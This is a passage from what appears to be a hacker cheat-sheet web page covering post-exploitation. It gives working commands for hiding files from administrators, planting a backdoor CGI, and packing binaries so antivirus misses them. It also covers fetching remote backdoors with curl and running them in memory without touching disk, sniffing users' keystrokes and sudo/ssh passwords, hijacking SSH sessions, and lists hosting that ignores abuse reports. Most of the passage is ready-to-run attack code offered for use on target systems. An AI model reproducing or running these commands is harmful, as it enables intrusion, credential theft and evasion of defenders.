&quot;1\\.2\\.3\\.4&quot; \/var\/log\/auth.log\n# xlog &quot;${SSH_CLIENT%% *}&quot; \/var\/log\/auth.log\n# xlog &quot;^2023.* thc\\.org&quot; foo.log<\/code><\/pre>\n<p><a id=\"shell-hide-files\"><\/a>\n<strong>8.iv. Hide files from that User without root privileges<\/strong><\/p>\n<p>Our favorite working directory is <em>\/dev\/shm\/<\/em>. This location is volatile memory and will be lost on reboot. NO LOGZ == NO CRIME.<\/p>\n<p>Hiding permanent files:<\/p>\n<p>Method 1:<\/p>\n<pre><code class=\"lang-sh language-sh sh\">alias ls=&#039;ls -I system-dev&#039;<\/code><\/pre>\n<p>This will hide the directory <em>system-dev<\/em> from the <em>ls<\/em> command. Place in User&#8217;s <em>~\/.profile<\/em> or system wide <em>\/etc\/profile<\/em>.<\/p>\n<p>Method 2:\nTricks from the 80s. Consider any directory that the admin rarely looks into (like <em>\/boot\/.X11\/..<\/em> or so):<\/p>\n<pre><code class=\"lang-sh language-sh sh\">mkdir &#039;...&#039;\ncd &#039;...&#039;<\/code><\/pre>\n<p>Method 3:\nUnix allows filenames with about any ASCII character but 0x00. Try tab (<em>\\t<\/em>). Happens that most Admins do not know how to cd into any such directory.<\/p>\n<pre><code class=\"lang-sh language-sh sh\">mkdir $&#039;\\t&#039;\ncd $&#039;\\t&#039;<\/code><\/pre>\n<p><a id=\"perm-files\"><\/a>\n<strong>8.v. Make a file immuteable<\/strong><\/p>\n<p>This will redirect <code>\/var\/www\/cgi\/blah.cgi<\/code> to <code>\/boot\/backdoor.cgi<\/code>. The file <code>blah.cgi<\/code> can not be modified or removed (unless unmounted).<\/p>\n<pre><code class=\"lang-sh language-sh sh\"># \/boot\/backdoor.cgi contains our backdoor\ntouch \/var\/www\/cgi\/blah.cgi\nmount -o bind,ro \/boot\/backdoor.cgi \/var\/www\/cgi\/blah.cgi<\/code><\/pre>\n<p><a id=\"nosudo\"><\/a>\n<strong>8.vi. Change user without sudo\/su<\/strong><\/p>\n<p>Needed for taking screenshots of X11 sessions (aka <code>xwd -display :0 -silent -root | convert - jpg:screenshot.jpg<\/code> or <code>import -display :0 -window root screenshot.png<\/code>)<\/p>\n<pre><code class=\"lang-bash language-bash bash\">xsu() {\n    local name=&quot;${1:?}&quot;\n    local u g h\n    local cmd=&quot;python&quot;\n\n    command -v python3 &gt;\/dev\/null &amp;&amp; cmd=&quot;python3&quot;\n    [ $UID -ne 0 ] &amp;&amp; { HS_ERR &quot;Need root&quot;; return; }\n    u=$(id -u ${name:?}) || return\n    g=$(id -g ${name:?}) || return\n    h=&quot;$(grep &quot;^${name}:&quot; \/etc\/passwd | cut -d: -f6)&quot; || return\n    HOME=&quot;${h:-\/tmp}&quot; &quot;$cmd&quot; -c &quot;import os;os.setgid(${g:?});os.setuid(${u:?});os.execlp(&#039;bash&#039;, &#039;bash&#039;)&quot;\n}\n# xsu user<\/code><\/pre>\n<p><a id=\"payload\"><\/a>\n<strong>8.vii. Obfuscate and crypt paypload<\/strong><\/p>\n<p>Use <a href=\"https:\/\/github.com\/upx\/upx\">UPX<\/a> to pack an ELF binary (example <code>\/bin\/id<\/code>):<\/p>\n<pre><code class=\"lang-shell language-shell shell\">BIN=&quot;mybin&quot;\nupx -qqq \/bin\/id -o &quot;${BIN}&quot;<\/code><\/pre>\n<p>Cleanse the <a href=\"https:\/\/github.com\/upx\/upx\/blob\/devel\/src\/stub\/src\/include\/header.S\">UPX header<\/a> and 2nd ELF header to fool the Anti-Virus:<\/p>\n<pre><code class=\"lang-shell language-shell shell\">perl -i -0777 -pe &#039;s\/^(.{64})(.{0,256})UPX!.{4}\/$1$2\\0\\0\\0\\0\\0\\0\\0\\0\/s&#039; &quot;${BIN}&quot;\nperl -i -0777 -pe &#039;s\/^(.{64})(.{0,256})\\x7fELF\/$1$2\\0\\0\\0\\0\/s&#039; &quot;${BIN}&quot;<\/code><\/pre>\n<p>Optionally cleanse signatures and traces of UPX:<\/p>\n<pre><code class=\"lang-shell language-shell shell\">cat &quot;${BIN}&quot; \\\n| perl -e &#039;local($\/);$_=&lt;&gt;;s\/(.*)(\\$Info:[^\\0]*)(.*)\/print &quot;$1&quot;;print &quot;\\0&quot;x length($2); print &quot;$3&quot;\/es;&#039; \\\n| perl -e &#039;local($\/);$_=&lt;&gt;;s\/(.*)(\\$Id:[^\\0]*)(.*)\/print &quot;$1&quot;;print &quot;\\0&quot;x length($2); print &quot;$3&quot;\/es;&#039; &gt;&quot;${BIN}.tmpupx&quot;\nmv &quot;${BIN}.tmpupx&quot; &quot;${BIN}&quot;\ngrep -Eqm1 &quot;PROT_EXEC\\|PROT_WRITE&quot; &quot;${BIN}&quot; \\\n&amp;&amp; cat &quot;${BIN}&quot; | perl -e &#039;local($\/);$_=&lt;&gt;;s\/(.*)(PROT_EXEC\\|PROT_WRI[^\\0]*)(.*)\/print &quot;$1&quot;;print &quot;\\0&quot;x length($2); print &quot;$3&quot;\/es;&#039; &gt;&quot;${BIN}.tmpupx&quot; \\\n&amp;&amp; mv &quot;${BIN}.tmpupx&quot; &quot;${BIN}&quot;\nperl -i -0777 -pe &#039;s\/UPX!\/\\0\\0\\0\\0\/sg&#039; &quot;${BIN}&quot;<\/code><\/pre>\n<p>Verify that binary can not be unpacked:<\/p>\n<pre><code class=\"lang-shell language-shell shell\">upx -d &quot;${BIN}&quot;  # Should fail with &#039;not packed by UPX&#039;<\/code><\/pre>\n<p>Optionally encrypt it with <a href=\"https:\/\/github.com\/hackerschoice\/bincrypter\">bincrypter<\/a>.<\/p>\n<p><a id=\"memexec\"><\/a>\n<strong>8.viii. Deploying a backdoor without touching the file-system<\/strong><\/p>\n<p>Start a backdoor without writing to the file-system or when all writeable locations are mounted with the evil <code>noexec<\/code>-flag.<\/p>\n<p>A Perl one-liner to load a binary into memory and execute it (without touching any disk or \/dev\/shm or \/tmp). See <a href=\"https:\/\/github.com\/hackerschoice\/hackshell\/blob\/main\/hackshell.sh\">Hackshell<\/a> for more.<\/p>\n<pre><code class=\"lang-sh language-sh sh\">memexec() {\n    local stropen strread\n    local strargv0=&#039;&quot;foo&quot;, &#039;\n    [ -t 0 ] &amp;&amp; {\n        stropen=&quot;open(\\$i, &#039;&lt;&#039;, &#039;$1&#039;) or die &#039;open: \\$!&#039;;&quot;\n        strread=&#039;$i&#039;\n        unset strargv0\n    }\n    # Check Syscall-NR: perl -e &#039;require &quot;sys\/syscall.ph&quot;; printf &amp;SYS_memfd_create;&#039;\n    perl -e &#039;$f=syscall(319, $n=&quot;&quot;, 1);\nif(-1==$f){ $f=syscall(279, $n=&quot;&quot;, 1); if(-1==$f){ die &quot;memfd_create: $!&quot;;}}\n&#039;&quot;${stropen}&quot;&#039;\nopen($o, &quot;&gt;&amp;=&quot;.$f) or die &quot;open: $!&quot;;\nwhile(&lt;&#039;&quot;${strread:-STDIN}&quot;&#039;&gt;){print $o $_;}\nexec {&quot;\/proc\/$$\/fd\/$f&quot;} &#039;&quot;${strargv0}&quot;&#039;@ARGV or die &quot;exec: $!&quot;;&#039; -- &quot;$@&quot;\n}\n# Example usage:\n# memexec \/usr\/bin\/id -u\n# cat \/usr\/bin\/id | memexec -u\n# curl -SsfL https:\/\/thc.org\/my-backdoor-binary | memexec<\/code><\/pre>\n<p>The shortest possible variant is (example):<\/p>\n<pre><code class=\"lang-shell language-shell shell\">memexec(){ perl &#039;-e$^F=255;for(319,279,385,4314,4354){($f=syscall$_,$&quot;,0)&gt;0&amp;&amp;last};open($o,&quot;&gt;&amp;=&quot;.$f);print$o(\n&lt;STDIN&gt;);exec{&quot;\/proc\/$$\/fd\/$f&quot;}X,@ARGV;exit 255&#039; -- &quot;$@&quot;;}\n# Example: cat \/usr\/bin\/id | memexec -u<\/code><\/pre>\n<p>(Thank you <a href=\"https:\/\/tmpout.sh\/\">tmp.Out<\/a> for some educated discussions and <a href=\"https:\/\/captain-woof.medium.com\/how-to-execute-an-elf-in-memory-living-off-the-land-c7e67dbc3100\">previous work<\/a> by others)<\/p>\n<p>Deploy gsocket without writing to the filesystem (example):<\/p>\n<pre><code class=\"lang-sh language-sh sh\">GS_ARGS=&quot;-ilqD -s SecretChangeMe31337&quot; memexec &lt;(curl -SsfL https:\/\/gsocket.io\/bin\/gs-netcat_mini-linux-$(uname -m))<\/code><\/pre>\n<p>The backdoor can also be piped via SSH directly into the remote&#8217;s memory, and executed:<\/p>\n<pre><code class=\"lang-sh language-sh sh\">MX=&#039;-e$^F=255;for(319,279,385,4314,4354){($f=syscall$_,$&quot;,0)&gt;0&amp;&amp;last};open($o,&quot;&gt;&amp;=&quot;.$f);print$o(\n&lt;STDIN&gt;);exec{&quot;\/proc\/$$\/fd\/$f&quot;}X,@ARGV;exit 255&#039;\ncurl -SsfL https:\/\/gsocket.io\/bin\/gs-netcat_mini-linux-x86_64 | ssh root@foobar &quot;exec perl &#039;$MX&#039; -- -ilqD -s SecretChangeMe31337&quot;<\/code><\/pre>\n<p>If you have a single-shot at remote executing a command (like via a PHP exploit) then this is your line:<\/p>\n<pre><code class=\"lang-sh language-sh sh\">curl -SsfL https:\/\/gsocket.io\/bin\/gs-netcat_mini-linux-$(uname -m)|perl &#039;-e$^F=255;for(319,279,385,4314,4354){($f=syscall$_,$&quot;,0)&gt;0&amp;&amp;last};open($o,&quot;&gt;&amp;=&quot;.$f);print$o(\n&lt;STDIN&gt;);exec{&quot;\/proc\/$$\/fd\/$f&quot;}X,@ARGV;exit 255&#039; -- -ilqD -s SecretChangeMe31337<\/code><\/pre>\n<hr \/>\n<p><a id=\"crypto\"><\/a><\/p>\n<h2>9. Crypto<\/h2>\n<p><a id=\"gen-password\"><\/a>\n<strong>9.i. Generate quick random Password<\/strong><\/p>\n<p>Good for quick passwords without human element.<\/p>\n<pre><code class=\"lang-sh language-sh sh\">openssl rand -base64 24<\/code><\/pre>\n<p>If <code>openssl<\/code> is not available then we can also use <code>head<\/code> to read from <code>\/dev\/urandom<\/code>.<\/p>\n<pre><code class=\"lang-sh language-sh sh\">head -c 32 &lt; \/dev\/urandom | xxd -p -c 32<\/code><\/pre>\n<p>or make it alpha-numeric<\/p>\n<pre><code class=\"lang-sh language-sh sh\">head -c 32 &lt; \/dev\/urandom | base64 | tr -dc &#039;[:alnum:]&#039; | head -c 16<\/code><\/pre>\n<p><a id=\"crypto-filesystem\"><\/a>\n<strong>9.ii.a. Linux transportable encrypted filesystems &#8211; cryptsetup<\/strong><\/p>\n<p>Create a 256MB large encrypted file system. You will be prompted for a password.<\/p>\n<pre><code class=\"lang-sh language-sh sh\">dd if=\/dev\/urandom of=\/tmp\/crypted bs=1M count=256 iflag=fullblock\ncryptsetup luksFormat \/tmp\/crypted\ncryptsetup open \/tmp\/crypted sec\nmkfs -t ext3 \/dev\/mapper\/sec<\/code><\/pre>\n<p>Mount:<\/p>\n<pre><code class=\"lang-sh language-sh sh\">cryptsetup open \/tmp\/crypted sec\nmount -o nofail,noatime \/dev\/mapper\/sec \/mnt\/sec<\/code><\/pre>\n<p>Store data in <code>\/mnt\/crypted<\/code>, then unmount:<\/p>\n<pre><code class=\"lang-sh language-sh sh\">umount \/mnt\/sec\ncryptsetup close sec <\/code><\/pre>\n<p><a id=\"encfs\"><\/a>\n<strong>9.ii.b. Linux transportable encrypted filesystems &#8211; EncFS<\/strong><\/p>\n<p>Create <code>.sec<\/code> and store the encrypted data in <code>.raw<\/code>:<\/p>\n<pre><code class=\"lang-sh language-sh sh\">mkdir .raw .sec\nencfs --standard  &quot;${PWD}\/.raw&quot; &quot;${PWD}\/.sec&quot;<\/code><\/pre>\n<p>unmount:<\/p>\n<pre><code class=\"lang-sh language-sh sh\">fusermount -u .sec<\/code><\/pre>\n<p><a id=\"encrypting-file\"><\/a>\n<strong>9.iii Encrypting a file<\/strong><\/p>\n<p>Encrypt your 0-Days and log files before transferring them &#8211; please. (and pick your own password):<\/p>\n<pre><code class=\"lang-sh language-sh sh\"># Encrypt\nopenssl enc -aes-256-cbc -pbkdf2 -k fOUGsg1BJdXPt0CY4I &lt;input.txt &gt;input.txt.enc<\/code><\/pre>\n<pre><code class=\"lang-sh language-sh sh\"># Decrypt\nopenssl enc -d -aes-256-cbc -pbkdf2 -k fOUGsg1BJdXPt0CY4I &lt;input.txt.enc &gt;input.txt<\/code><\/pre>\n<hr \/>\n<p><a id=\"sniffing\"><\/a><\/p>\n<h2>10. Session sniffing and hijaking<\/h2>\n<p><a id=\"session-sniffing\"><\/a>\n<strong>10.i Sniff a user&#8217;s SHELL session<\/strong><\/p>\n<p>A 1-liner for <code>~\/.bashrc<\/code> to sniff the user&#8217;s keystrokes and save them to <code>~\/.config\/.pty\/.@*<\/code>. Useful when not root and needing to capture the sudo\/ssh\/git credentials of the user. <\/p>\n<p>Deploy: Cut &amp; paste the following onto the target and follow the instructions:<\/p>\n<pre><code class=\"lang-sh language-sh sh\"># This is a glorified version of:\n# [ -z &quot;$LC_PTY&quot; ] &amp;&amp; [ -t 0 ] &amp;&amp; [[ &quot;$HISTFILE&quot; != *null* ]] &amp;&amp; [ -d ~\/.config\/.pty ] &amp;&amp; { script -V; } &amp;&gt;\/dev\/null &amp;&amp; LC_PTY=1 exec -a &quot;sshd: pts\/0&quot; script -fqaec &quot;exec ${BASH_EXECUTION_STRING:--a -bash &#039;&quot;$(command -v bash)&quot;&#039;}&quot; -I ~\/.config\/.pty\/.@pty-unix.$$\ncommand -v bash &gt;\/dev\/null || { echo &quot;Not found: \/bin\/bash&quot;; false; } \\\n&amp;&amp; { mkdir -p ~\/.config\/.pty 2&gt;\/dev\/null; :; } \\\n&amp;&amp; curl -o ~\/.config\/.pty\/pty -fsSL &quot;https:\/\/bin.pkgforge.dev\/$(uname -m)\/script&quot; \\\n&amp;&amp; curl -o ~\/.config\/.pty\/ini -fsSL &quot;https:\/\/github.com\/hackerschoice\/zapper\/releases\/download\/v1.1\/zapper-stealth-linux-$(uname -m)&quot; \\\n&amp;&amp; chmod 755 ~\/.config\/.pty\/ini ~\/.config\/.pty\/pty \\\n&amp;&amp; echo -e &#039;----------\\n\\e[0;32mSUCCESS\\e[0m. Add the following line to \\e[0;36m~\/.bashrc\\e[0m:\\e[0;35m&#039; \\\n&amp;&amp; echo -e &#039;[ -z &quot;$LC_PTY&quot; ] &amp;&amp; [ -t 0 ] &amp;&amp; [[ &quot;$HISTFILE&quot; != *null* ]] &amp;&amp; [ -d ~\/.config\/.pty ] &amp;&amp; { ~\/.config\/.pty\/ini -h &amp;&amp; ~\/.config\/.pty\/pty -V; } &amp;&gt;\/dev\/null &amp;&amp; LC_PTY=1 exec ~\/.config\/.pty\/ini -a &quot;sshd: pts\/0&quot; ~\/.config\/.pty\/pty -fqaec &quot;exec ${BASH_EXECUTION_STRING:--a -bash &#039;&quot;$(command -v bash)&quot;&#039;}&quot; -I ~\/.config\/.pty\/.@pty-unix.$$\\e[0m&#039;<\/code><\/pre>\n<ul>\n<li>Combined with zapper to hide command options from the process list.<\/li>\n<li>Requires <code>\/usr\/bin\/script<\/code> from util-linux &gt;= 2.37 (-I flag). We pull the static bin from <a href=\"https:\/\/bin.pkgforge.dev\">pkgforge<\/a>. <\/li>\n<li>Consider using \/dev\/tcp\/3.13.3.7\/1524 as an output file to log to a remote host.<\/li>\n<li>Log in with <code>ssh -o &quot;SetEnv LC_PTY=1&quot;<\/code> to disable logging.<\/li>\n<\/ul>\n<p><a id=\"dtrace\"><\/a>\n<strong>10.ii Sniff all SHELL sessions with dtrace &#8211; FreeBSD<\/strong><\/p>\n<p>Especially useful for Solaris\/SunOS and FreeBSD (pfSense). It uses kernel probes to trace <em>all<\/em> sshd processes.<\/p>\n<p>Copy this &#8220;D Script&#8221; to the target system to a file named <code>d<\/code>:<\/p>\n<pre><code class=\"lang-c language-c c\">#pragma D option quiet\ninline string NAME = &quot;sshd&quot;;\nsyscall::write:entry\n\/(arg0 &gt;= 5) &amp;&amp; (arg2 &lt;= 16) &amp;&amp; (execname == NAME)\/\n{ printf(&quot;%d: %s\\n&quot;, pid, stringof(copyin(arg1, arg2))); }<\/code><\/pre>\n<p>Start a dtrace and log to \/tmp\/.log:<\/p>\n<pre><code class=\"lang-sh language-sh sh\">### Start kernel probe as background process.\n(dtrace -sd &gt;\/tmp\/.log &amp;)<\/code><\/pre>\n<p><a id=\"bpf\"><\/a>\n<strong>10.iii Sniff all SHELL sessions with eBPF &#8211; Linux<\/strong><\/p>\n<p>eBPF allows us to <em>safely<\/em> hook over 120,000 functions in the kernel. It&#8217;s like a better &#8220;dtrace&#8221; but for Linux.  <\/p>\n<pre><code class=\"lang-sh language-sh sh\">curl -o bpftrace -fsSL https:\/\/github.com\/iovisor\/bpftrace\/releases\/latest\/download\/bpftrace\nchmod 755 bpftrace\ncurl -o ptysnoop.bt -fsSL https:\/\/github.com\/hackerschoice\/bpfhacks\/raw\/main\/ptysnoop.bt\n.\/bpftrace -Bnone ptysnoop.bt<\/code><\/pre>\n<p>Check out our very own <a href=\"https:\/\/github.com\/hackerschoice\/bpfhacks\">eBPF tools to sniff sudo\/su\/ssh passwords<\/a>.<\/p>\n<p><a id=\"ssh-sniffing-strace\"><\/a>\n<strong>10.iv Sniff a user&#8217;s SSH, bash or SSHD session with strace<\/strong><\/p>\n<pre><code class=\"lang-sh language-sh sh\">tit() {\n    strace -e trace=&quot;${1:?}&quot; -p &quot;${2:?}&quot; 2&gt;&amp;1 | gawk &#039;BEGIN{ORS=&quot;&quot;}\/\\.\\.\\.\/ { next }; {$0 = substr($0, index($0, &quot;\\&quot;&quot;)+1); sub(\/&quot;[^&quot;]*$\/, &quot;&quot;, $0); gsub(\/(\\\\33){1,}\\[[0-9;]*[^0-9;]?||\\\\33O[ABCDR]?\/, &quot;&quot;); if ($0==&quot;\\\\r&quot;){print &quot;\\n&quot;}else{print $0; fflush()}}&#039;\n    # strace -e trace=&quot;${1:?}&quot; -p &quot;${2:?}&quot; 2&gt;&amp;1 | stdbuf -oL grep -vF ...  | awk &#039;BEGIN{FS=&quot;\\&quot;&quot;;}{if ($2==&quot;\\\\r&quot;){print &quot;&quot;}else{printf $2}}&#039;\n}\n# tit read $(pidof -s ssh)\n# tit read $(pidof -s bash)\n# tit write $(pgrep -f &#039;sshd.*pts&#039; | head -n1)<\/code><\/pre>\n<p>It is also possible to sniff the SSHD process (captures also sudo passwords etc). Note that we trace the <code>write()<\/code> call instead (because sshd &#8216;writes&#8217; data to the bash):<\/p>\n<pre><code class=\"lang-sh language-sh sh\"># Find the sshd PID that spawned the bash:\nps -eF | grep -E &#039;(^UID|sshd.*pts)&#039; | grep -v &#039; grep&#039;\n...\nUID          PID    PPID  C    SZ   RSS PSR STIME TTY          TIME CMD\nparalle+    7770    7764  0  5088  6780   1 Aug28 ?        00:00:05 sshd: parallels@pts\/0\nparalle+    9056    9050  0  5088  6652   1 Aug28 ?        00:00:00 sshd: parallels@pts\/1\nparalle+   11938   11932  0  5074  6772   1 10:59 ?        00:00:00 sshd: parallels@pts\/3\n...<\/code><\/pre>\n<p>Sniff 7770 (example):<\/p>\n<pre><code class=\"lang-shell language-shell shell\">tit write 7770<\/code><\/pre>\n<p><a id=\"ssh-sniffing-wrapper\"><\/a>\n<strong>10.v. Sniff a user&#8217;s outgoing SSH session with a wrapper script<\/strong><\/p>\n<p>Even dirtier method in case <em>\/proc\/sys\/kernel\/yama\/ptrace_scope<\/em> is set to 1 (strace will fail on already running SSH sessions)<\/p>\n<p>Create a wrapper script called &#8216;ssh&#8217; that executes strace + ssh to log the session:<\/p>\n<details>\n\n<summary>Show wrapper script &#8211; CLICK HERE<\/summary>\n\n&#8220;`sh\n# Cut &amp; Paste the following into a bash shell:\n# Add a local path to the PATH variable so our &#8216;ssh&#8217; is executed instead of the real ssh:\necho &#8216;PATH=~\/.local\/bin:$PATH #0xFD0E&#8217; &gt;&gt;~\/.profile\n\n# Create a log directory and our own ssh binary\nmkdir -p ~\/.local\/bin ~\/.local\/logs\n\ncat &lt;~\/.local\/bin\/ssh\n#! \/bin\/bash\nstrace -e trace=read -I 1 -o &#8216;! ~\/.local\/bin\/ssh-log \\$\\$&#8217; \/usr\/bin\/ssh \\$@\n__EOF__\n\ncat &lt;~\/.local\/bin\/ssh-log\n#! \/bin\/bash\ngrep -F &#8216;read(4&#8217; | cut -f2 -d\\\\&#8221; | while read -r x; do\n        [[ \\${#x} -gt 5 ]] &amp;&amp; continue \n        [[ \\${x} == +(\\\\\\\\n|\\\\\\\\r) ]] &amp;&amp; { echo &#8220;&#8221;; continue; }\n        echo -n &#8220;\\${x}&#8221;\ndone &gt;\\$HOME\/.local\/logs\/ssh-log-&#8220;\\${1}&#8221;-\\`date +%s\\`.txt\n__EOF__\n\nchmod 755 ~\/.local\/bin\/ssh ~\/.local\/bin\/ssh-log\n. ~\/.profile\n\necho -e &#8220;\\033[1;32m***SUCCESS***.\nLogfiles stored in ~\/.local\/.logs\/.\nTo uninstall cut &amp; paste this\\033[0m:\\033[1;36m\n  grep -v 0xFD0E ~\/.profile &gt;~\/.profile-new &amp;&amp; mv ~\/.profile-new ~\/.profile\n  rm -rf ~\/.local\/bin\/ssh ~\/.local\/bin\/ssh-log ~\/.local\/logs\/ssh-log*.txt\n  rmdir ~\/.local\/bin ~\/.local\/logs ~\/.local &amp;&gt;\/dev\/null \\033[0m&#8221;\n&#8220;`\n(thanks to Gerald for testing this)\n<\/details>\n<p>The SSH session will be sniffed and logged to <em>~\/.ssh\/logs\/<\/em> the next time the user logs into his shell and uses SSH.<\/p>\n<p><a id=\"ssh-sniffing-sshit\"><\/a>\n<strong>10.vi Sniff a user&#8217;s outgoing SSH session using SSH-IT<\/strong><\/p>\n<p>The easiest way is using <a href=\"https:\/\/www.thc.org\/ssh-it\/\">https:\/\/www.thc.org\/ssh-it\/<\/a>.<\/p>\n<pre><code class=\"lang-sh language-sh sh\">bash -c &quot;$(curl -fsSL https:\/\/thc.org\/ssh-it\/x)&quot;<\/code><\/pre>\n<p><a id=\"hijack\"><\/a>\n<strong>10.vii Hijack \/ Take-over a running SSH session<\/strong>  <\/p>\n<p>Use <a href=\"https:\/\/github.com\/nelhage\/reptyr\">https:\/\/github.com\/nelhage\/reptyr<\/a> to take over an existing SSH session:<\/p>\n<pre><code class=\"lang-sh language-sh sh\">ps ax -o pid,ppid,cmd | grep &#039;ssh &#039;\n.\/reptyr -T &lt;SSH PID&gt;\n### or: .\/reptyr -T $(pidof -s ssh)\n### Must use &#039;-T&#039; or otherwise the original user will see that his SSH process gets suspended.<\/code><\/pre>\n<hr \/>\n<p><a id=\"vpn-shell\"><\/a><\/p>\n<h2>11. VPN &amp; Shells<\/h2>\n<p><a id=\"shell\"><\/a>\n<strong>11.i. Disposable Root Servers<\/strong><\/p>\n<pre><code class=\"lang-console language-console console\">$ ssh root@segfault.net # Use password &#039;segfault&#039;<\/code><\/pre>\n<p><a href=\"https:\/\/thc.org\/segfault\">https:\/\/thc.org\/segfault<\/a><\/p>\n<p><a id=\"vpn\"><\/a>\n<strong>11.ii. VPN\/VPS\/Proxies<\/strong><\/p>\n<p>Trusted VPN Providers<\/p>\n<ol>\n<li><a href=\"https:\/\/www.mullvad.net\">https:\/\/www.mullvad.net<\/a><\/li>\n<li><a href=\"https:\/\/www.cryptostorm.is\">https:\/\/www.cryptostorm.is<\/a><\/li>\n<li><a href=\"https:\/\/ivpn.net\">https:\/\/ivpn.net<\/a><\/li>\n<li><a href=\"https:\/\/proton.me\">https:\/\/proton.me<\/a> &#8211; Offers FREE VPN<\/li>\n<li><a href=\"https:\/\/vpn.fail\">https:\/\/vpn.fail<\/a> &#8211; Run by volunteers<\/li>\n<\/ol>\n<p>Virtual Private Servers. Please check <a href=\"https:\/\/offshore.cat\/\">offshore.cat<\/a>.<\/p>\n<ol>\n<li><a href=\"https:\/\/www.hetzner.com\">https:\/\/www.hetzner.com<\/a> &#8211; Cheap<\/li>\n<li><a href=\"https:\/\/hivecloud.pw\">https:\/\/hivecloud.pw<\/a> &#8211; No KYC. Bullet Proof. Accepts Crypto.<\/li>\n<li><a href=\"https:\/\/dmzhost.co\">https:\/\/dmzhost.co<\/a> &#8211; Ignore most abuse requests<\/li>\n<li><a href=\"https:\/\/alexhost.com\">https:\/\/alexhost.com<\/a> &#8211; No KYC. Bullet Proof. DMCA free zone<\/li>\n<li><a href=\"https:\/\/basehost.eu\">https:\/\/basehost.eu<\/a> &#8211; Ignores court orders<\/li>\n<li><a href=\"https:\/\/buyvm.net\">https:\/\/buyvm.net<\/a> &#8211; Warez best friend<\/li>\n<li><a href=\"https:\/\/serverius.net\">https:\/\/serverius.net<\/a> &#8211; Used by gangsters<\/li>\n<li><a href=\"https:\/\/1984.hosting\">https:\/\/1984.hosting<\/a> &#8211; Privacy<\/li>\n<li><a href=\"https:\/\/bithost.io\">https:\/\/bithost.io<\/a> &#8211; Reseller for DigitalOcean, Linode, Hetzner and Vultr (accepts Crypto)<\/li>\n<li><a href=\"https:\/\/www.privatelayer.com\">https:\/\/www.privatelayer.com<\/a> &#8211; Swiss based.<\/li>\n<\/ol>\n<p>See <a href=\"https:\/\/kycnot.me\/\">other KYC Free Services<\/a> (<a href=\"http:\/\/kycnotmezdiftahfmc34pqbpicxlnx3jbf5p7jypge7gdvduu7i6qjqd.onion\/\">.onion<\/a>)<\/p>\n<p>Proxies (we dont use any of those)<\/p>\n<ol>\n<li><a href=\"https:\/\/github.com\/mahdibland\/V2RayAggregator\">V2Ray Proxies<\/a><\/li>\n<li><a href=\"https:\/\/github.com\/snawoot\/hola-proxy\">Hola Proxies<\/a><\/li>\n<li><a href=\"https:\/\/github.com\/Zaeem20\/FREE_PROXIES_LIST\">Zaeem&#8217;s Free Proxy List<\/a><\/li>\n<li><a href=\"https:\/\/github.com\/bluet\/proxybroker2\">Proxy Broker 2<\/a><\/li>\n<li><a href=\"https:\/\/api.proxyscrape.com\/v2\/?request=displayproxies&amp;protocol=all&amp;timeout=750&amp;country=all\">proxyscrape.com<\/a><\/li>\n<li><a href=\"https:\/\/www.my-proxy.com\">my-proxy.com<\/a><\/li>\n<li><a href=\"https:\/\/getfreeproxylists.blogspot.com\/\">getfreeproxylists.blogspot.com<\/a><\/li>\n<li><a href=\"https:\/\/proxypedia.org\/\">proxypedia.org<\/a><\/li>\n<li><a href=\"https:\/\/socks-proxy.net\/\">socks-proxy.net<\/a><\/li>\n<li><a href=\"https:\/\/www.thc.org\/segfault\">Segfault<\/a>: <code>curl -x socks5h:\/\/$(PROXY) ipinfo.io<\/code> &#8211; selects a random proxy for every request<\/li>\n<\/ol>\n<p>Many other services (for free)  <\/p>\n<ol>\n<li><a href=\"https:\/\/free-for.dev\/\">https:\/\/free-for.dev\/<\/a><\/li>\n<\/ol>\n<hr \/>\n<p><a id=\"osint\"><\/a><\/p>\n<h2>12. Intelligence Gathering<\/h2>\n<p>Reverse DNS from multiple public databases:<\/p>\n<pre><code class=\"lang-sh language-sh sh\">rdns () {\n    curl -m10 -fsSL &quot;https:\/\/ip.thc.org\/${1:?}?limit=20&amp;f=${2}&quot;\n}\n# rdns \n&lt;IP&gt;<\/code><\/pre>\n<p>Find sub domains from TLS\/THC-IP Database:<\/p>\n<pre><code class=\"lang-sh language-sh sh\">sub() {\n    [ $# -ne 1 ] &amp;&amp; { echo &gt;&amp;2 &quot;crt &lt;domain-name&gt;&quot;; return 255; }\n    curl -fsSL &quot;https:\/\/crt.sh\/?q=${1:?}&amp;output=json&quot; --compressed | jq -r &#039;.[].common_name,.[].name_value&#039; | anew | sed &#039;s\/^\\*\\.\/\/g&#039; | tr &#039;[:upper:]&#039; &#039;[:lower:]&#039;\n    curl -fsSL &quot;https:\/\/ip.thc.org\/sb\/${1:?}&quot;\n}\n# sub \n&lt;domain&gt;<\/code><\/pre>\n<table>\n<thead>\n<tr>\n<th>OSINT Hacker Tools<\/th>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td><a href=\"https:\/\/api.c99.nl\">https:\/\/api.c99.nl<\/a><\/td>\n<td>Free: <a href=\"https:\/\/subdomainfinder.c99.nl\">Subdomain Finder<\/a>, PAID: Phone-Lookup, CF Resolver, WAF Detector, IP2Host, and more&#8230;for $25\/year.<\/td>\n<\/tr>\n<tr>\n<td><a href=\"https:\/\/osint.sh\">https:\/\/osint.sh<\/a><\/td>\n<td>Free. Subdomain Finder, DNS History, Public S3 Buckets, Reverse IP, Certificate Search, and more<\/td>\n<\/tr>\n<tr>\n<td><a href=\"https:\/\/cli.fyi\">https:\/\/cli.fyi<\/a><\/td>\n<td>Free. curl\/json interface to many services. Try <code>curl cli.fyi\/me<\/code> or <code>curl cli.fyi\/thc.org<\/code>.<\/td>\n<\/tr>\n<tr>\n<td><a href=\"https:\/\/check-your-website.server-daten.de\">https:\/\/check-your-website.server-daten.de<\/a><\/td>\n<td>Free. TLS\/DNS\/Security check a domain.<\/td>\n<\/tr>\n<tr>\n<td><a href=\"https:\/\/ipsniper.info\/api.html\">https:\/\/ipsniper.info\/api.html<\/a><\/td>\n<td>rDNS\/fDNS and other IP information tools<\/td>\n<\/tr>\n<tr>\n<td><a href=\"https:\/\/ip.thc.org\">https:\/\/ip.thc.org<\/a><\/td>\n<td>fDNS\/rDNS lookup: <code>curl -fL ip.thc.org\/140.82.121.3<\/code><\/td>\n<\/tr>\n<tr>\n<td><a href=\"https:\/\/hackertarget.com\/ip-tools\/\">https:\/\/hackertarget.com\/ip-tools\/<\/a><\/td>\n<td>Free OSINT Service (Reverse IP, MTR, port scan, CMS scans, Vulnerability Scans, API support)<\/td>\n<\/tr>\n<tr>\n<td><a href=\"https:\/\/account.shodan.io\/billing\/tour\">https:\/\/account.shodan.io\/billing\/tour<\/a><\/td>\n<td>Open Port DB 